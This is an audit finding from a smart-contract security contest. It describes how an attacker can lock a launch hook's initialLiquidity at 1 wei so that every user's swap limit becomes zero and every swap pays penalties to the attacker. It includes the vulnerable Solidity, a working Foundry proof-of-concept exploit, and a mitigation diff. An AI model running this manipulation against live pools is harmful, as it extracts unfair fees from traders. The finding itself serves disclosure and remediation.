Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: medium

Attacker Can Lock initialLiquidity At 1 Wei Making All User Limits Zero

Author Revealed upon completion

Description

The hook calculates per-user swap limits based on initialLiquidity, which gets set once and can never be updated. An attacker can manipulate when this value gets set to lock it at 1 wei, making all user limits round down to zero and forcing everyone to pay penalties.

initialLiquidity can be set in two places:

  1. _afterInitialize() - sets it to pool's current liquidity (could be 0)

  2. _beforeSwap() - fallback that sets it if still 0

Attack flow:

  1. Attacker initializes pool

  2. Attacker adds 1 wei liquidity

  3. Attacker swaps 1 wei → triggers fallback → initialLiquidity = 1 wei (LOCKED)

  4. Attacker adds 10 ETH real liquidity

  5. User limits: 1 wei * 1% / 10000 = 0

  6. Every user exceeds limit of 0 → pays 10% penalty → attacker collects fees

function _afterInitialize(...) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity); // No minimum check!
}
function _beforeSwap(...) {
if (initialLiquidity == 0) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity); // Exploitable fallback
}
uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;
// If initialLiquidity = 1: maxSwapAmount = 0
if (addressSwappedAmount[sender] + swapAmount > maxSwapAmount) {
applyPenalty = true; // Everyone exceeds limit!
}
}

Impact

  • Users forced to pay 10% penalties on ALL swaps

  • Attacker collects penalty fees as LP

  • Complete DoS of fair trading for 200+ blocks

Proof of Concept

Run: forge test --mt test_InitialLiquidityManipulation -vv

function test_InitialLiquidityManipulation() public {
address attacker = makeAddr("attacker");
token.mint(attacker, 1000 ether);
vm.deal(attacker, 1000 ether);
vm.startPrank(attacker);
token.approve(address(modifyLiquidityRouter), type(uint256).max);
token.approve(address(swapRouter), type(uint256).max);
vm.stopPrank();
// Deploy fresh hook
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory constructorArgs = abi.encode(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, constructorArgs);
TokenLaunchHook freshHook = new TokenLaunchHook{salt: salt}(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
PoolKey memory key = PoolKey({
currency0: ethCurrency, currency1: tokenCurrency,
fee: LPFeeLibrary.DYNAMIC_FEE_FLAG, tickSpacing: 60, hooks: freshHook
});
manager.initialize(key, SQRT_PRICE_1_1_s);
vm.startPrank(attacker);
modifyLiquidityRouter.modifyLiquidity{value: 1 wei}(key,
ModifyLiquidityParams({tickLower: -60, tickUpper: 60, liquidityDelta: 1, salt: bytes32(0)}),
ZERO_BYTES
);
swapRouter.swap{value: 1 wei}(key,
SwapParams({zeroForOne: true, amountSpecified: -1, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
ZERO_BYTES
);
vm.stopPrank();
console.log("Initial liquidity locked at:", freshHook.initialLiquidity()); // 1
vm.startPrank(attacker);
modifyLiquidityRouter.modifyLiquidity{value: 10 ether}(key,
ModifyLiquidityParams({tickLower: -60, tickUpper: 60, liquidityDelta: 10 ether, salt: bytes32(0)}),
ZERO_BYTES
);
vm.stopPrank();
uint256 calculatedLimit = (freshHook.initialLiquidity() * phase1LimitBps) / 10000;
console.log("User limit:", calculatedLimit, "wei (effectively 0)"); // 0
assertTrue(calculatedLimit < 0.01 ether, "Limits unreasonably small");
}

Output:

Initial liquidity locked at: 1
User limit: 0 wei

Recommended Mitigation

Require minimum liquidity at initialization:

+ uint256 public constant MIN_INITIAL_LIQUIDITY = 1e18;
function _afterInitialize(...) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
+ require(uint256(liquidity) >= MIN_INITIAL_LIQUIDITY, "Insufficient initial liquidity");
initialLiquidity = uint256(liquidity);
}
function _beforeSwap(...) {
- if (initialLiquidity == 0) {
- uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
- initialLiquidity = uint256(liquidity);
- }
+ // Remove exploitable fallback
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!